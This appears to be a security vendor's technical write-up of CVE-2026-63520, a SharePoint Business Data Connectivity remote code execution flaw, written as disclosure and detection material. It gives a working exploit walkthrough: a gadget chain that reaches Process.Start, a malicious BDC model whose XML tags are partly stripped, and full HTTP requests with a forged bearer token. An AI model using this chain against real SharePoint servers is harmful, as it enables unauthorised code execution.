Overview
On August 11, 2026, Rapid7 and Microsoft disclosed CVE-2026-63520, a remote code execution (RCE) vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of CVE-2026-63520. This analysis was originally scheduled for publication 30 days after disclosure; however, as a third party has published details of CVE-2026-63520, our timeline has been expedited.
A remote authenticated attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. When combined with the authentication bypass, CVE-2026-55040, the resulting exploit chain is unauthenticated RCE against a vulnerable SharePoint server.
When comparing the two analysis of CVE-2026-63520, we can see how we have exploited the issue by leveraging a Database
Line-of-Business (LOB) system and an ObjectDataProvider
based gadget chain, whilst the VulnCheck analysis has exploited the issue by leveraging a DotNetAssembly
LOB system and a LosFormatter
based gadget chain. Defenders should account for this when detecting CVE-2026-63520. It is highly likely other gadget chains may also be used.
Analysis
The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210
.
An RCE vulnerability exists in the Microsoft SharePoint Business Data Connectivity (BDC) subsystem. This is due to an unrestricted .NET type instantiation and property-setting primitive in the DbTypeReflector
class, which resolves arbitrary assembly-qualified type names from BDC model XML without any allowlist or safety enforcement. An attacker who can upload a malicious .bdcm
model file and trigger entity execution can instantiate any .NET type available in the Global Assembly Cache (GAC), set arbitrary properties on those instances, and leverage property-setter side-effects to achieve OS command execution.
Note that there is prior work in this space that was very helpful when conducting this research. The writeup of CVE-2019-1257 by the ZDI research team discusses leveraging BDC models for unsafe .NET type instantiation.
The vulnerability exists in the Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector.ResolveDotNetType()
method, which directly calls Type.GetType()
on attacker-controlled TypeDescriptor TypeName
values without validation. Combined with a recursive instantiation and property-setting mechanism in the parent DotNetTypeReflector.Instantiate()
method, this allows constructing a gadget chain that triggers Process.Start()
through the System.Windows.Data.ObjectDataProvider
class's property-setter side-effect (this gadget chain technique is well-known).
The BDC subsystem uses "type reflectors" to resolve .NET types from the TypeName
attribute of TypeDescriptor elements in BDC model XML. For Database-type LobSystem
definitions, SharePoint uses DbTypeReflector
, which inherits from DotNetTypeReflector
, as shown below.
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db\DbTypeReflector.cs - Lines 167-186 public override Type ResolveDotNetType(string abstractTypeName, ILobSystemStruct lobSystemStruct) { if (string.IsNullOrEmpty(abstractTypeName)) { throw new ArgumentNullException("abstractTypeName"); } if (abstractTypeName.Length < 15) // <-- [1] { return base.ResolveDotNetType(abstractTypeName, lobSystemStruct); } try { return Type.GetType(abstractTypeName, throwOnError: true); // <-- [2] } catch (ArgumentException) { throw new ArgumentException(...); } }
At [1]
, if the type name is fewer than 15 characters (e.g. System.Int32
), it falls through to the base class DotNetTypeReflector.ResolveDotNetType()
, which has a limited type lookup path. However, at [2]
, for any type name greater than 15 characters (e.g. System.Diagnostics.Process
or System.Windows.Data.ObjectDataProvider
), the method calls Type.GetType()
directly. This resolves any assembly-qualified type name to its corresponding Type
object, with no restrictions on which assemblies or types are permitted.
To construct a malicious BDC model, the following XML is used. We can see the BDC LobSystem
definition has a type Database
.
% SqlServer localhost master True SELECT 1 AS id, 'x' AS output Text Start false true notepad.exe
We can see from the above that we define a new parameter called "payload" that will instantiate a new System.Windows.Data.ObjectDataProvider
instance, whose MethodName
will be Start
, and whose ObjectInstance
will be an instance of System.Diagnostics.Process
. The System.Diagnostics.Process
instance will have its StartInfo
member variable set to a new instance of System.Diagnostics.ProcessStartInfo
, and this defines the arbitrary process to execute. When the ObjectInstance
is set to the System.Diagnostics.Process
instance it triggers the gadget chain to execute (a stack trace showing this is shown in the next section). Logically, we can view the gadget chain as follows:
System.Windows.Data.ObjectDataProvider odp = new System.Windows.Data.ObjectDataProvider(); odp.MethodName = "Start"; System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(); psi.UseShellExecute = false; psi.CreateNoWindow = true; psi.FileName = "notepad.exe"; psi.Arguments = ""; System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo = psi; odp.ObjectInstance = p; // <--- Triggers RCE
For testing purposes we favor a simple binary like notepad.exe
which can easily be observed to execute via a tool like Process Explorer, as shown below in Figure 1. We set CreateNoWindow
to true
, as the target w3wp.exe
IIS worker process is running in Session 0, so will have no desktop attached for displaying window forms.
Figure 1: Gadget chain executing notepad.exe
Walkthrough
We can see a concrete example of the RCE in action by inspecting the HTTP requests required to achieve unsafe .NET type instantiation. Note that the Bearer
authorization token, along with the X-RequestDigest
token used in the following requests have been generated via our exploit script for the authentication bypass, CVE-2026-55040.
Before we can upload the malicious BDC model, we must first create a BusinessDataMetadataCatalog
folder via an HTTP POST request to the /_api/web/folders
endpoint.
POST /_api/web/folders HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose
Content-Type: application/json;odata=verbose
X-RequestDigest: 0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000
Content-Length: 89
{"__metadata": {"type": "SP.Folder"}, "ServerRelativeUrl": "BusinessDataMetadataCatalog"}
The following response is received, confirming success.
HTTP/1.1 201 Created
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Location: https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog'
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 10
SPRequestDuration: 23
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-8b99-e0bd-6d28-73265bd44bbe
request-id: e01a0ca2-8b99-e0bd-6d28-73265bd44bbe
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT
{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')","uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')","type":"SP.Folder"},"Activities":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Activities"}},"Files":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Files"}},"ListItemAllFields":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/ListItemAllFields"}},"ParentFolder":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/ParentFolder"}},"Properties":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Properties"}},"StorageMetrics":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/StorageMetrics"}},"Folders":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Folders"}},"Exists":true,"IsWOPIEnabled":false,"ItemCount":0,"Name":"BusinessDataMetadataCatalog","ProgID":null,"ServerRelativeUrl":"/BusinessDataMetadataCatalog","TimeCreated":"2026-03-25T14:48:25Z","TimeLastModified":"2026-03-25T14:48:25Z","UniqueId":"588f2429-23cb-47c9-bbbf-6a0c36a04ea2","WelcomePage":""}}
Next we can upload the malicious BDC model via an HTTP POST request to the /_api/web/GetFolderByServerRelativeUrl
endpoint.
POST /_api/web/GetFolderByServerRelativeUrl('BusinessDataMetadataCatalog')/Files/add(url='BDCMetadata.bdcm',overwrite=true) HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose
X-RequestDigest: 0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000
Content-Length: 7296
Content-Type: application/x-www-form-urlencoded

%

SqlServer
localhost
master
True

SELECT 1 AS id, 'x' AS output
Text

Start

false

true

notepad.exe

The following response is received, confirming success.
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 36
SPRequestDuration: 50
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-fb9b-e0bd-6d28-712875f5f9e2
request-id: e01a0ca2-fb9b-e0bd-6d28-712875f5f9e2
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT
{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')","uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')","type":"SP.File"},"Author":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/Author"}},"CheckedOutByUser":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/CheckedOutByUser"}},"EffectiveInformationRightsManagementSettings":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/EffectiveInformationRightsManagementSettings"}},"InformationRightsManagementSettings":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/InformationRightsManagementSettings"}},"ListItemAllFields":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/ListItemAllFields"}},"LockedByUser":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/LockedByUser"}},"ModifiedBy":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/ModifiedBy"}},"Properties":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/Properties"}},"VersionEvents":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/VersionEvents"}},"Versions":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/Versions"}},"CheckInComment":"","CheckOutType":2,"ContentTag":"{19D5ED0D-438A-477F-9943-BD5D70A86A75},35,35","CustomizedPageStatus":0,"ETag":"\"{19D5ED0D-438A-477F-9943-BD5D70A86A75},35\"","Exists":true,"IrmEnabled":false,"Length":"7296","Level":1,"LinkingUri":null,"LinkingUrl":"","MajorVersion":1,"MinorVersion":0,"Name":"BDCMetadata.bdcm","ServerRelativeUrl":"/BusinessDataMetadataCatalog/BDCMetadata.bdcm","TimeCreated":"2026-03-25T14:48:25Z","TimeLastModified":"2026-04-21T10:06:13Z","Title":null,"UIVersion":512,"UIVersionLabel":"1.0","UniqueId":"19d5ed0d-438a-477f-9943-bd5d70a86a75"}}
We trigger unsafe .NET type instantiation via an HTTP POST request to the /_vti_bin/client.svc/ProcessQuery
endpoint, calling the FindSpecificDefault
method to locate and trigger our malicious gadget chain.
POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Accept: */*
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Content-Type: text/xml
X-RequestDigest: 0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000
Content-Length: 739

If we attach a debugger, we can inspect the call stack at the point that RCE has been achieved. Note that the call from FindSpecificDefault
will trigger CreateDefaultInstanceInternal
which in turn will trigger the ObjectDataProvider
chain and ultimately Process.Start
.
> System.dll!System.Diagnostics.Process.Start() (IL=0x0000, Native=0x00007FFC76E06500+0x31)
[Native to Managed Transition]
mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL=epilog, Native=0x00007FFC6E97DFE0+0x7A)
mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x00007FFC6E97D810+0xE7)
mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x073D, Native=0x00007FFC71FDD820+0xC6D)
mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x00007FFC71FDD7C0+0x3D)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x00007FFC76E05E80+0x140)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x00007FFC76E04C30+0x1AF)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x00007FFC76E00490+0x1C1)
WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x00007FFC74792B30+0x36)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.ObjectInstance.set(object value) (IL=0x0078, Native=0x00007FFC76E05900+0x178)
[Native to Managed Transition]
mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x0016, Native=0x00007FFC6E97DFE0+0xDD)
mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x00007FFC6E97D810+0xE7)
mscorlib.dll!System.Reflection.RuntimePropertyInfo.SetValue(object obj, object value, object[] index) (IL=epilog, Native=0x00007FFC720310B0+0x22)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Infrastructure.DotNetTypeReflector.SetValueOnInstanceUsingChildTypeDescriptor(object instance, object value, Microsoft.BusinessData.MetadataModel.ITypeDescriptor typeDescriptor) (IL≈0x084C, Native=0x00007FFC769B0E60+0xBC9)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Infrastructure.DotNetTypeReflector.Instantiate(Microsoft.BusinessData.MetadataModel.ITypeDescriptor typeDescriptor, Microsoft.BusinessData.MetadataModel.IMethodInstance methodInstance, uint level) (IL≈0x0581, Native=0x00007FFC769AE060+0xB37)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Infrastructure.DotNetTypeReflector.Instantiate(Microsoft.BusinessData.MetadataModel.ITypeDescriptor typeDescriptor, Microsoft.BusinessData.MetadataModel.IMethodInstance methodInstance) (IL≈0x0042, Native=0x00007FFC769ADED0+0x8E)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.ParameterRuntime.CreateDefaultInstanceInternal(Microsoft.BusinessData.MetadataModel.IParameter thisParameter, Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance) (IL=epilog, Native=0x00007FFC769ADE00+0xA9)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.Parameter.Microsoft.SharePoint.BusinessData.MetadataModel.IParameterInternal.CreateDefaultInstanceInternal(Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance) (IL=epilog, Native=0x00007FFC769ADC20+0x3C)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.MethodRuntime.CreateDefaultParameterInstancesInternal(Microsoft.BusinessData.MetadataModel.IMethod thisMethod, Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance, Microsoft.BusinessData.MetadataModel.Collections.IParameterCollection parameters) (IL≈0x0052, Native=0x00007FFC769AD860+0x175)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.Method.Microsoft.SharePoint.BusinessData.MetadataModel.IMethodInternal.CreateDefaultParameterInstancesInternal(Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance, Microsoft.BusinessData.MetadataModel.Collections.IParameterCollection nonReturnParameters) (IL=epilog, Native=0x00007FFC769AD7F0+0x43)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity thisEntity, Microsoft.BusinessData.Runtime.Identity entityInstanceIdentity, string specificFinderName, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance) (IL≈0x012C, Native=0x00007FFC769AC770+0x1DA)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity thisEntity, Microsoft.BusinessData.Runtime.Identity entityInstanceIdentity, string specificFinderName, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance, Microsoft.BusinessData.Runtime.OperationMode mode) (IL≈0x007D, Native=0x00007FFC769ABB70+0x10E)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity @this, Microsoft.BusinessData.Runtime.Identity identifierValue, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance, Microsoft.BusinessData.Runtime.OperationMode operationMode, bool readNow) (IL=epilog, Native=0x00007FFC769AA7E0+0x7F)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity @this, Microsoft.BusinessData.Runtime.Identity identifierValue, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance, Microsoft.BusinessData.Runtime.OperationMode operationMode) (IL=epilog, Native=0x00007FFC769AA7A0+0x1B)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.Entity.FindSpecific(Microsoft.BusinessData.Runtime.Identity identity, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance) (IL=epilog, Native=0x00007FFC769AA4C0+0x54)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.FindSpecificDefault(Microsoft.BusinessData.Runtime.Identity identity, Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.LobSystemInstance lobSystemInstance) (IL≈0x0029, Native=0x00007FFC769A9FC0+0x87)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ServerStub.InvokeMethodWithMonitoredScope(object target, string methodName, System.Xml.XmlNodeList args, Microsoft.SharePoint.Client.ProxyContext proxyContext, out bool isVoid) (IL≈0x004D, Native=0x00007FFC769A4B30+0xCB)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.InvokeMethod(object obj, string methodName, System.Xml.XmlNodeList xmlargs, out bool isVoid) (IL≈0x0000, Native=0x00007FFC769A4A50+0x50)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.ProcessMethod(System.Xml.XmlElement xe) (IL≈0x0076, Native=0x00007FFC769A4780+0x152)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.ProcessStatements(System.Xml.XmlNode xe) (IL=0x0032, Native=0x00007FFC76970D00+0xC6)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.Process() (IL=0x0104, Native=0x00007FFC7696F3A0+0x29C)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientRequestServiceImpl.ProcessQuery(System.IO.Stream inputStream, System.Collections.Generic.IList pendingDisposableContainer) (IL≈0x01DF, Native=0x00007FFC7696C930+0x662)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientRequestService.ProcessQuery(System.IO.Stream inputStream) (IL=epilog, Native=0x00007FFC7696C870+0x74)